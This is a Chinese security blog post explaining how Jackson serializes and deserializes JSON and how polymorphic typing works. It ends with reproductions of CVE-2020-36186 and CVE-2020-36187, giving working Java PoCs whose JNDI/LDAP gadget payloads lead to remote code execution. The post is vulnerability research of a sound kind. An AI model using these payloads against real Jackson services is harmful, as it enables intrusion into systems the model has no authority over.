# 前言
前面刚将这个 FastJson 这个漏洞分析写了一篇勉强算是详细的总结,然后再比赛中遇到了一个 Jackson,刚好两个放在一起有一个对比
# jackson 介绍
“世界上最好的 JSON 解析库 —Jackson”,莫名想起来 php 是世界上最好的语言。不过确实,Jackson 不仅开源稳定易使用,而且拥有 Spring 生态加持,更受使用者的青睐。它提供了简单而强大的方式来解析 JSON 数据并将其映射到 Java 对象,以及将 Java 对象转换为 JSON 格式。但是当 Jackson 开启某些配置时,会允许开发者在反序列化时指定要还原的类,过程中调用其构造方法 setter 方法或某些特殊的 getter 方法,当这些方法中存在一些危险操作时就造成了代码执行。
# 序列化
在 jackson 中有两个序列化操作:
- writeValueAsString () -> 序列化
- readValue () -> 反序列化
看下面这个例子:
首先出场的还是万年不变的 person 类
public class Person { | |
public String name; | |
public int age; | |
public int sex; | |
@Override | |
public String toString() { | |
return "person{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
", sex=" + sex + | |
'}'; | |
} | |
} |
然后是使用 jackson 进行序列化和反序列化的例子
public class demo { | |
public static void main(String[] args) throws IOException { | |
Person person = new Person(); | |
person.name = "Clown"; | |
person.age = 21; | |
ObjectMapper objectMapper = new ObjectMapper(); | |
String json = objectMapper.writeValueAsString(person); // 将对象转化为 json | |
System.out.println(json); | |
Person person1 = objectMapper.readValue(json, Person.class); // 将 json 映射到对象上 | |
System.out.println(person1); | |
} | |
} |
这个例子实际上就很好的体现了,解析 JSON 数据并将其映射到 Java 对象,以及将 Java 对象转换为 JSON 格式这个过程。在 FastJson 中同样也是有对对应的转化的方法,具体可以参考 FastJson 漏洞分析 - java 安全 | Clown の Blog = (xcu.icu)。当然了上面这个例子也只是展示了这个过程,接下来看下面这个例子:
首先还是 person 类,这个实际上是也就是拿我再分析 FastJson 的时候写的例子改了改
public class Person { | |
private String name; | |
private int age; | |
private String sex; | |
public Person() { | |
System.out.println("调用了构造方法"); | |
} | |
public Person(String name, int age, String sex) { | |
this.name = name; | |
this.age = age; | |
this.sex = sex; | |
} | |
public Person(String name, int age) { | |
this.name = name; | |
this.age = age; | |
} | |
public String getName() { | |
System.out.println("调用getName方法"); | |
return name; | |
} | |
public void setName(String name) { | |
System.out.println("调用了setName"); | |
this.name = name; | |
} | |
public int getAge() { | |
System.out.println("调用了getAge方法"); | |
return age; | |
} | |
public void setAge(int age) { | |
System.out.println("调用了setAge方法"); | |
this.age = age; | |
} | |
public String getSex() { | |
System.out.println("调用了getSex方法"); | |
return sex; | |
} | |
public void setSex(String sex) { | |
System.out.println("调用了setSex方法"); | |
this.sex = sex; | |
} | |
@Override | |
public String toString() { | |
return "person{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
", sex=" + sex + | |
'}'; | |
} | |
} |
然后再看一下 demo
public class demo { | |
public static void main(String[] args) throws IOException { | |
Person person = new Person("Clown",21); | |
ObjectMapper objectMapper = new ObjectMapper(); | |
String json = objectMapper.writeValueAsString(person); // 将对象转化为 json | |
System.out.println(json); | |
Person person1 = objectMapper.readValue(json, Person.class); // 将 json 映射到对象上 | |
System.out.println(person1); | |
} | |
} |
实际上改变的地方并不多,这里只是将属性设置为私有,然后将对应的 get 和 set 方法中加上了一个 print
这里可以看到在将对象转化为 json 的时候会调用该类中的所有的 get 方法(这里我使用了一个只有两个参数的构造方法,但是实际上 get 和 set 方法都还是被自动调用了),在将 json 映射到对象上的时候会调用无参的构造方法和所有的 set 方法
# 多态类型绑定
在 jackson 中实现了 JacksonPolymorphicDeserialization 机制,至于为什么出现?当 JSON 数据包含多个不同类型的对象,并且这些对象属于相同的父类或接口时,需要进行多态反序列化。JacksonPolymorphicDeserialization 允许 Jackson 库正确地将 JSON 数据映射到具体的子类。其具体的实现有两种:
- DefaultTyping
- @JsonTypeInfo 注解
# DefaultTyping
在 com.fasterxml.jackson.databind.ObjectMapper 这个类中
public enum DefaultTyping { | |
JAVA_LANG_OBJECT,// 此选项表示只有声明类型为 java.lang.Object(包括没有显式类型的泛型类型)的属性将使用默认类型。这不包括抽象类或接口。 | |
OBJECT_AND_NON_CONCRETE,// 默认选项,包含上面的特征而且当类里有 Interface、AbstractClass 类时,对其进行序列化和反序列化(当然这些类本身需要时合法的、可被序列化的对象) | |
NON_CONCRETE_AND_ARRAYS,// 此选项表示默认类型将用于所有由 OBJECT_AND_NON_CONCRETE 包括的类型,以及它们的数组类型 | |
NON_FINAL// 包括所有非 final 类型的对象,无论是抽象类、接口还是普通类。所有的非 final 类型时包含在 JSON 数据中。 | |
} |
上面这些就是几种选项的作用,但是这样一大段文字相信也不想去看,下面还是分别用几个 demo 来演示一下
# JAVA_LANG_OBJECT
当类的属性声明为一个 Object 的时候会对这个属性指向的类进行序列化和反序列化,当然这个类需要是一个可被序列化的类
看下面这个例子,这里直接定义了一个新的类来定义性别
public class Person1 { | |
private String name; | |
private int age; | |
private Sex1 sex; | |
public Person1() { | |
System.out.println("调用了Person的无参构造方法"); | |
} | |
public Person1(String name, int age, Sex1 sex) { | |
System.out.println("调用了Person的有参构造方法"); | |
this.name = name; | |
this.age = age; | |
this.sex = sex; | |
} | |
public String getName() { | |
System.out.println("调用Person.getName方法"); | |
return name; | |
} | |
public void setName(String name) { | |
System.out.println("调用了Person.setName"); | |
this.name = name; | |
} | |
public int getAge() { | |
System.out.println("调用了Person.getAge方法"); | |
return age; | |
} | |
public void setAge(int age) { | |
System.out.println("调用了Person.setAge方法"); | |
this.age = age; | |
} | |
public Sex1 getsex() { | |
System.out.println("调用了Person.getsex方法"); | |
return sex; | |
} | |
public void setSex(Sex1 sex) { | |
System.out.println("调用了Person.setsex方法"); | |
this.sex = sex; | |
} | |
@Override | |
public String toString() { | |
return "Person{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
", sex='" + sex + '\'' + | |
'}'; | |
} | |
} | |
class Sex1{ | |
private String sex; | |
public Sex1() { | |
System.out.println("调用了sex的无参构造方法"); | |
} | |
public Sex1(String sex) { | |
System.out.println("调用了sex的有参构造方法"); | |
this.sex = sex; | |
} | |
public String getSex() { | |
System.out.println("调用了sex.getSex方法"); | |
return sex; | |
} | |
public void setSex(String sex) { | |
System.out.println("调用了sex.setSex方法"); | |
this.sex = sex; | |
} | |
} |
然后下面这个 demo 也简单的改了一下
public class Demo1 { | |
public static void main(String[] args) throws IOException { | |
Person1 person = new Person1("Clown",21,new Sex1("男")); | |
ObjectMapper objectMapper = new ObjectMapper(); | |
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); | |
String json = objectMapper.writeValueAsString(person); // 将对象转化为 json | |
System.out.println(json); | |
Person1 person1 = objectMapper.readValue(json, Person1.class); // 将 json 映射到对象上 | |
System.out.println(person1); | |
} | |
} |
这里可以看到,在会将将 json 映射到对象上的时候会将类中的夹带的其他类跟着一起还原出来
# OBJECT_AND_NON_CONCRETE
enableDefaultTyping 的默认选项,当类里有 Interface、AbstractClass 类时,对其进行序列化和反序列化,还是这个 person
public class Person2 { | |
private String name; | |
private int age; | |
private Sex2 sex2; | |
public Person2() { | |
System.out.println("调用了Person的无参构造方法"); | |
} | |
public Person2(String name, int age, Sex2 sex2) { | |
this.name = name; | |
this.age = age; | |
this.sex2 = sex2; | |
} | |
public String getName() { | |
System.out.println("调用Person.getName方法"); | |
return name; | |
} | |
public void setName(String name) { | |
System.out.println("调用了Person.setName"); | |
this.name = name; | |
} | |
public int getAge() { | |
System.out.println("调用了Person.getAge方法"); | |
return age; | |
} | |
public void setAge(int age) { | |
System.out.println("调用了Person.setAge方法"); | |
this.age = age; | |
} | |
@Override | |
public String toString() { | |
return "Person2{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
", sex2=" + sex2 + | |
'}'; | |
} | |
public Sex2 getSex2() { | |
System.out.println("调用了perso.getSex方法"); | |
return sex2; | |
} | |
public void setSex2(Sex2 sex2) { | |
System.out.println("调用了person.setSex方法"); | |
this.sex2 = sex2; | |
} | |
} | |
interface Sex2{ | |
public String getSex(); | |
public void setSex(String sex); | |
} | |
class RowSex implements Sex2{ | |
private String sex; | |
@Override | |
public String getSex() { | |
System.out.println("调用了RowSex的getSex方法"); | |
return this.sex; | |
} | |
@Override | |
public void setSex(String sex) { | |
System.out.println("调用了RowSex的setSex方法"); | |
this.sex = sex; | |
} | |
} |
这里 Sex 不在是一个具体的类,而是一个抽象接口,接下来是 demo 类
public class Demo2 { | |
public static void main(String[] args) throws IOException { | |
Person2 person = new Person2("Clown",21,new RowSex()); | |
ObjectMapper objectMapper = new ObjectMapper(); | |
objectMapper.enableDefaultTyping();// 默认为 ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS | |
String json = objectMapper.writeValueAsString(person); // 将对象转化为 json | |
System.out.println(json); | |
Person2 person2 = objectMapper.readValue(json, Person2.class); // 将 json 映射到对象上 | |
System.out.println(person2); | |
} | |
} |
# NON_CONCRETE_AND_ARRAYS
上面的特性都支持,且支持上面特性的 array 类型,这里就不在写那么多了,简单的一个例子
public class Person3 { | |
private String sex; | |
public Object object; | |
public Person3() { | |
System.out.println("Person3的无参构造函数"); | |
} | |
public Person3(String sex) { | |
System.out.println("调用了构造方法"); | |
this.sex = sex; | |
} | |
public String getSex() { | |
System.out.println("调用了getSex"); | |
return sex; | |
} | |
public void setSex(String sex) { | |
System.out.println("调用了setSex"); | |
this.sex = sex; | |
} | |
@Override | |
public String toString() { | |
return "Person3{" + | |
"sex='" + sex + '\'' + | |
", object=" + object + | |
'}'; | |
} | |
} | |
class Student3 { | |
private String name; | |
public Student3() { | |
System.out.println("Student3构造函数"); | |
} | |
public Student3(String name) { | |
System.out.println("调用了Student3的构造函数"); | |
this.name = name; | |
} | |
public String getName() { | |
return name; | |
} | |
public void setName(String name) { | |
this.name = name; | |
} | |
} |
这里很简单,主要是 demo
public class Demo3 { | |
public static void main(String[] args) throws IOException { | |
Person3 person = new Person3("男"); | |
Student3[] student3s =new Student3[3]; | |
student3s[0] = new Student3("test1"); | |
student3s[1] = new Student3("test2"); | |
student3s[2] = new Student3("test3"); | |
person.object = student3s; | |
ObjectMapper objectMapper = new ObjectMapper(); | |
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); | |
String json = objectMapper.writeValueAsString(person); // 将对象转化为 json | |
System.out.println(json); | |
Person3 person3 = objectMapper.readValue(json, Person3.class); // 将 json 映射到对象上 | |
System.out.println(person3); | |
} | |
} |
这里可以看到,通过数组传入了 3 和名字
# NON_FINAL
可以序列化反序列化所有非 final 的属性,这里就不在写了,和前面的没啥区别,前面的用这个选项都是支持的
# @JsonTypeInfo 注解
使用注解也是绑定多态的一种形式,在 com.fasterxml.jackson.annotation 下
支持下面五中取值
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) | |
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM) |
这里就先不说区别了,直接看例子
# JsonTypeInfo.Id.NONE
还是简单一个 Person 类
public class Person { | |
public String name; | |
public int age; | |
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) | |
public Object obj; | |
@Override | |
public String toString() { | |
return "Person{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
", obj=" + obj + | |
'}'; | |
} | |
} | |
class Student{ | |
public int point = 100; | |
} |
这里将这个注解加到属性 Object 上面,然后 demo(在这几个实例中这个 demo 都无不需要改,这里就不在后面展示了,过于占地方)
public class demo { | |
public static void main(String[] args) throws IOException { | |
ObjectMapper objectMapper = new ObjectMapper(); | |
Person person = new Person(); | |
person.name = "Clown"; | |
person.age = 21; | |
person.obj = new Student(); | |
String json = objectMapper.writeValueAsString(person); | |
System.out.println(json); | |
Person person1 = objectMapper.readValue(json,Person.class); | |
System.out.println(person1); | |
} | |
} |
这个是注解默认的一种选项,只会展示相关的参数的值
# JsonTypeInfo.Id.CLASS
还是上面的两端代码,这里将注解改为 JsonTypeInfo.Id.CLASS
输出中多了 @class 和 jackson.jacksonAnnotation.Student,这些具体类的形象,同时还是有属性的信息,也就是说,如果在 Jackson 反序列化的时候使用了 JsonTypeInfo.Id.CLASS
修饰的话,可以通过 @class 的方式指定相关类,并进行相关调用。
# JsonTypeInfo.Id.MINIMAL_CLASS
还是换一个注解即可
与上一个相比,就是使用 @c 代替了 @class
# JsonTypeInfo.Id.NAME
但是当运行 demo 的时候出现了报错
这里比起第一个多了 @type,指定了属性的类型,但是根据报错,很显然这里是不能被反序列化的
# JsonTypeInfo.Id.COSTOM
还是改这个注解
当运行这个 demo 的时候会直接抛出异常,这里很显然需要手动配置一个解析器
# 调用流程分析
简单分析一下在反序列化的过程中是怎么调用到目标类的构造方法和 set 方法的。这里使用前面的 OBJECT_AND_NON_CONCRETE 中的 person 类
public class test { | |
public static void main(String[] args) throws IOException { | |
ObjectMapper objectMapper = new ObjectMapper(); | |
objectMapper.enableDefaultTyping();// 默认为 ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS | |
String json = "{\"name\":\"Clown\",\"age\":21,\"sex2\":[\"jackson.jacksonDefaultTyping.RowSex\",{\"sex\":\"男\"}]}"; | |
// System.out.println(json); | |
Person2 person2 = objectMapper.readValue(json, Person2.class); // 将 json 映射到对象上 | |
System.out.println(person2); | |
} | |
} |
这里不在去实例化,而是使用了 OBJECT_AND_NON_CONCRETE 例子中序列化后的字符串
这里将断点下在反序列化函数的地方
这里调用到 ObjectMapper 的 readValue 方法中
这里的同名方法有很多,会更具传入的类型不同选择对应的 readValue 方法。这里也无需过于关注后面两个创建解析器和创建类型都具体做了什么,我们将注意力放在这个_readMapAndClose 中,这里直接跟进。
这里实际上也没有跳转到别的类,还是在这个 ObjectMapper 这个方法中,这里前面先通过_initForReading 来做一个初始化,然后通过 getDeserializationConfig 来获取反序列化配置,通过 createDeserializationContext 来获取反序列化上下文
实际上这些我们都无需过于关注,然后就是根据前面获取的信息进行一些判断
_findRootDeserializer 方法会通过传入的这个类,也就是我们上面传入的 Person2 来获取一个反序列化器,最后通过这个反序列化器来进行一个反序列化,我们跟进到这个 deserialize 方法
可以看到调用了 BeanDeserializer 这个反序列化器中的反序列化方法
p 携带了我们传入的 json 字符串,然后这里实际上我们需要注意的是这个 vanillaDeserialize 方法,这里还是跟进看一下
这里还是当前类中的 vanillaDeserialize 方法,先跟进到这个 createUsingDefault 方法中
这里是调用默认的构造方法创建一个空的对象,也就是无参构造方法,这也是为什么前面的例子中都写了一个无参的构造方法,不然会报错
这里看到调用即可,然后我们继续步过,这里会进到这个 do...whiled 循环,这里我们只需要关注这个 deserializeAndSet 方法,根进这个方法
这里循环的调用这个 invoke 方法来实现对应的 set 方法的调用
# 漏洞利用
【安全通告】Jackson-databind 多个反序列化漏洞风险通告 (tencent.com) 这里通告了 11 个漏洞,这里复现一下 CVE-2020-36186 和 CVE-2020-36187 两个
# CVE-2020-36186
# 漏洞概述
FasterXML jackson-databind 2.x < 2.9.10.8 的版本存在该漏洞,该漏洞是由于 org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource 组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。
<dependency> | |
<groupId>com.fasterxml.jackson.core</groupId> | |
<artifactId>jackson-databind</artifactId> | |
<version>2.9.10.1</version> | |
</dependency> | |
<dependency> | |
<groupId>tomcat</groupId> | |
<artifactId>naming-factory-dbcp</artifactId> | |
<version>5.5.23</version> | |
</dependency> |
相关依赖如上,这里我还是使用 yakit 来起一个 ldap 服务
# poc
package jackson; | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import com.fasterxml.jackson.databind.SerializationFeature; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: jackson | |
* @Author: Clown | |
* @CreateTime: 2023-10-27 14:06 | |
*/ | |
public class CVE_2020_36186 { | |
public static void main(String[] args) throws Exception { | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(); | |
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); | |
String json = "[\"org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:9090/T\"}]"; | |
Object obj = mapper.readValue(json, Object.class); | |
mapper.writeValueAsString(obj); | |
} | |
} |
这里使用 yakit 来开一个反向链接服务器
# 分析
这里先放一张总的调用图,这个 2020-36186,使用的类是 PerUserPoolDataSource
这个类 extends 了 InstanceKeyDataSource 这个类
这里可以看到,在 InstanceKeyDataSource 这个类的 testCPDS 方法中有一个经典的 JNDI 注入
并且在当前类中,有其参数 dataSourceName 对应的 get 和 set 方法,但是这个 testCPDS 是一个保护方法,所以这里就需要去找调用这个方法的地方
这里可以通过 getPooledConnectionAndInfo 来调用到这个方法,在看到这个方法的时候,我发现在这个方法中也调用了 registerPool 方法
但是这个方法也是一个保护方法,还要继续找
最后是找到这个 getConnection 方法,整个利用链就完整了
# CVE-2020-36187
# 漏洞概述
FasterXML jackson-databind 2.x < 2.9.10.8 的版本存在该漏洞,该漏洞是由于 org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource 组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。
<dependency> | |
<groupId>com.fasterxml.jackson.core</groupId> | |
<artifactId>jackson-databind</artifactId> | |
<version>2.9.10.7</version> | |
</dependency> | |
<dependency> | |
<groupId>com.newrelic.agent.java</groupId> | |
<artifactId>newrelic-agent</artifactId> | |
<version>4.9.0</version> | |
</dependency> |
# poc
package jackson; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: jackson | |
* @Author: Clown | |
* @CreateTime: 2023-10-24 22:03 | |
*/ | |
import com.fasterxml.jackson.databind.ObjectMapper; | |
import java.io.IOException; | |
public class CVE_2020_36187 { | |
public static void main(String[] args) throws IOException { | |
ObjectMapper mapper = new ObjectMapper(); | |
mapper.enableDefaultTyping(); | |
String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:9090/T\"}]"; | |
Object o = mapper.readValue(payload, Object.class); | |
mapper.writeValueAsString(o); | |
} | |
} |
这里的反向代理还是使用 yakit 的
# 分析
还是这张图,这个利用链就比较简单了
在这个 JNDIConnectionSource 类的 lookupDataSource 方法中有一个 JNDI 注入点,其中的参数也是可控的
这里因为他也是保护方法,然后这里需要去找一个调用方法
这里实际上还是这个 getConnection 方法,他是公共的可以被调用到的整个链就链接起来了